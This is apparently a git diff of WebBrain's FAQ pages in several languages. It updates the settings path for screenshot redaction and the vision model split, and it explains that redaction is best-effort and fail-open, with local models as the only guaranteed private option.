و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید <strong>تنظیمات → چشم انداز</strong> (به "چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟" در بالا مراجعه کنید).</p></div>
+ <div class="faq-answer"><p>نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (<strong>تنظیمات → مدل‌های کمکی → چشم انداز → ویرایش عکس صفحه</strong>، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. <em>قبل از</em> به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود</p><p><strong>این بهترین تلاش و شکست باز است.</strong> اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. <em>ویرایش نشده</em> به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه <em>متن</em> ارسال شده به مدل توسط آن ویرایش نشده است.</p><p><strong>برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید.</strong> با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به "آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟" بالا</p><p><strong>آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟</strong> یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید <strong>تنظیمات → مدل‌های کمکی → چشم انداز</strong> (به "چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟" در بالا مراجعه کنید).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>آیا WebBrain کل DOM را به مدل هوش مصنوعی می‌فرستد؟</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/faq/index.html b/web/docs/faq/index.html
index e9d0e826e..b48ce6580 100644
--- a/web/docs/faq/index.html
+++ b/web/docs/faq/index.html
@@ -249,7 +249,7 @@
"name": "Does the Screenshot redaction setting guarantee my private data never reaches a cloud vision model?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "No — it reduces exposure, it is not a guarantee. When enabled (Settings → Multimodal → Screenshot redaction, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot before it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted. It is best-effort and fail-open. If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent unredacted rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page text sent to the model is not redacted by it. For full vision privacy, use a local model. With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See \"Can I use WebBrain completely offline?\" above. Don't have a machine that can run a vision-capable local model? A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under Settings → Vision (see \"How does WebBrain keep cloud LLM bills under control?\" above)."
+ "text": "No — it reduces exposure, it is not a guarantee. When enabled (Settings → Assistive Models → Vision → Screenshot redaction, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot before it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted. It is best-effort and fail-open. If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent unredacted rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page text sent to the model is not redacted by it. For full vision privacy, use a local model. With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See \"Can I use WebBrain completely offline?\" above. Don't have a machine that can run a vision-capable local model? A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under Settings → Assistive Models → Vision (see \"How does WebBrain keep cloud LLM bills under control?\" above)."
}
},
{
@@ -289,7 +289,7 @@
"name": "How does WebBrain keep cloud LLM bills under control?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Three independent layers: Token-conscious screenshots. Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in _fitImageDimensions with unit tests for the budget math. Smart context trimming. Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a read_page returned a novel-length article. Dedicated vision model. Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under Settings → Vision. Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost."
+ "text": "Three independent layers: Token-conscious screenshots. Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in _fitImageDimensions with unit tests for the budget math. Smart context trimming. Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a read_page returned a novel-length article. Dedicated vision model. Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under Settings → Assistive Models → Vision. Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>How does WebBrain keep cloud LLM bills under control?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Three independent layers:</p><p><strong>Token-conscious screenshots.</strong> Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in <code>_fitImageDimensions</code> with unit tests for the budget math.</p><p><strong>Smart context trimming.</strong> Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a <code>read_page</code> returned a novel-length article.</p><p><strong>Dedicated vision model.</strong> Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under <strong>Settings → Vision</strong>.</p><p>Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost.</p></div>
+ <div class="faq-answer"><p>Three independent layers:</p><p><strong>Token-conscious screenshots.</strong> Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in <code>_fitImageDimensions</code> with unit tests for the budget math.</p><p><strong>Smart context trimming.</strong> Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a <code>read_page</code> returned a novel-length article.</p><p><strong>Dedicated vision model.</strong> Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under <strong>Settings → Assistive Models → Vision</strong>.</p><p>Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Does the Screenshot redaction setting guarantee my private data never reaches a cloud vision model?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>No — it reduces exposure, it is not a guarantee. When enabled (<strong>Settings → Multimodal → Screenshot redaction</strong>, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot <em>before</em> it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted.</p><p><strong>It is best-effort and fail-open.</strong> If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent <em>unredacted</em> rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page <em>text</em> sent to the model is not redacted by it.</p><p><strong>For full vision privacy, use a local model.</strong> With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See "Can I use WebBrain completely offline?" above.</p><p><strong>Don't have a machine that can run a vision-capable local model?</strong> A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under <strong>Settings → Vision</strong> (see "How does WebBrain keep cloud LLM bills under control?" above).</p></div>
+ <div class="faq-answer"><p>No — it reduces exposure, it is not a guarantee. When enabled (<strong>Settings → Assistive Models → Vision → Screenshot redaction</strong>, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot <em>before</em> it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted.</p><p><strong>It is best-effort and fail-open.</strong> If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent <em>unredacted</em> rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page <em>text</em> sent to the model is not redacted by it.</p><p><strong>For full vision privacy, use a local model.</strong> With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See "Can I use WebBrain completely offline?" above.</p><p><strong>Don't have a machine that can run a vision-capable local model?</strong> A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under <strong>Settings → Assistive Models → Vision</strong> (see "How does WebBrain keep cloud LLM bills under control?" above).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Does WebBrain send the whole DOM to the AI model?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/fr/faq/index.html b/web/docs/fr/faq/index.html
index b60e421f7..c2a8fd18d 100644
--- a/web/docs/fr/faq/index.html
+++ b/web/docs/fr/faq/index.html
@@ -249,7 +249,7 @@
"name": "Le réglage Floutage des captures d'écran garantit-il que mes données privées n'atteignent jamais un modèle de vision cloud ?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (Paramètres → Multimodal → Floutage des captures d'écran, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran avant qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis. C'est du meilleur effort, en mode fail-open. Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée non floutée plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le texte de la page envoyé au modèle n'est pas flouté par ce réglage. Pour une confidentialité totale en vision, utilisez un modèle local. Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus. Pas de machine capable de faire tourner un modèle local avec vision ? Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous Paramètres → Vision (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus)."
+ "text": "Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (Paramètres → Modèles auxiliaires → Vision → Floutage des captures d'écran, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran avant qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis. C'est du meilleur effort, en mode fail-open. Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée non floutée plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le texte de la page envoyé au modèle n'est pas flouté par ce réglage. Pour une confidentialité totale en vision, utilisez un modèle local. Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus. Pas de machine capable de faire tourner un modèle local avec vision ? Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous Paramètres → Modèles auxiliaires → Vision (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Trois couches indépendantes : Captures économes en tokens. Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans _fitImageDimensions avec des tests unitaires sur le calcul du budget. Rognage intelligent du contexte. Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un read_page a renvoyé un article interminable. Modèle de vision dédié. Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans Paramètres → Vision. Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul."
+ "text": "Trois couches indépendantes : Captures économes en tokens. Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans _fitImageDimensions avec des tests unitaires sur le calcul du budget. Rognage intelligent du contexte. Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un read_page a renvoyé un article interminable. Modèle de vision dédié. Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans Paramètres → Modèles auxiliaires → Vision. Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Trois couches indépendantes :</p><p><strong>Captures économes en tokens.</strong> Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans <code>_fitImageDimensions</code> avec des tests unitaires sur le calcul du budget.</p><p><strong>Rognage intelligent du contexte.</strong> Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un <code>read_page</code> a renvoyé un article interminable.</p><p><strong>Modèle de vision dédié.</strong> Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans <strong>Paramètres → Vision</strong>.</p><p>Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul.</p></div>
+ <div class="faq-answer"><p>Trois couches indépendantes :</p><p><strong>Captures économes en tokens.</strong> Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans <code>_fitImageDimensions</code> avec des tests unitaires sur le calcul du budget.</p><p><strong>Rognage intelligent du contexte.</strong> Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un <code>read_page</code> a renvoyé un article interminable.</p><p><strong>Modèle de vision dédié.</strong> Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans <strong>Paramètres → Modèles auxiliaires → Vision</strong>.</p><p>Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Le réglage Floutage des captures d&#39;écran garantit-il que mes données privées n&#39;atteignent jamais un modèle de vision cloud ?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (<strong>Paramètres → Multimodal → Floutage des captures d'écran</strong>, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran <em>avant</em> qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis.</p><p><strong>C'est du meilleur effort, en mode fail-open.</strong> Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée <em>non floutée</em> plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le <em>texte</em> de la page envoyé au modèle n'est pas flouté par ce réglage.</p><p><strong>Pour une confidentialité totale en vision, utilisez un modèle local.</strong> Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus.</p><p><strong>Pas de machine capable de faire tourner un modèle local avec vision ?</strong> Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous <strong>Paramètres → Vision</strong> (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus).</p></div>
+ <div class="faq-answer"><p>Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (<strong>Paramètres → Modèles auxiliaires → Vision → Floutage des captures d'écran</strong>, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran <em>avant</em> qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis.</p><p><strong>C'est du meilleur effort, en mode fail-open.</strong> Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée <em>non floutée</em> plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le <em>texte</em> de la page envoyé au modèle n'est pas flouté par ce réglage.</p><p><strong>Pour une confidentialité totale en vision, utilisez un modèle local.</strong> Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus.</p><p><strong>Pas de machine capable de faire tourner un modèle local avec vision ?</strong> Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous <strong>Paramètres → Modèles auxiliaires → Vision</strong> (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain envoie-t-il l’intégralité du DOM au modèle d’IA ?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/he/faq/index.html b/web/docs/he/faq/index.html
index 3c5a2309a..53353c2fd 100644
--- a/web/docs/he/faq/index.html
+++ b/web/docs/he/faq/index.html
@@ -249,7 +249,7 @@
"name": "האם ההגדרה טשטוש צילומי מסך מבטיחה שהנתונים הפרטיים שלי לעולם לא יגיעו למודל ראייה בענן?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (הגדרות ← מולטי-מודאלי ← טשטוש צילומי מסך, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא\"ל או מספר טלפון בכל צילום מסך לפני שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר. זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open. אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח ללא טשטוש במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: טקסט הדף הנשלח למודל אינו מטושטש על ידה. לפרטיות מלאה בראייה, השתמש במודל מקומי. עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה \"האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?\" למעלה. אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה? פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא\"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת הגדרות ← ראייה (ראה \"כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?\" למעלה)."
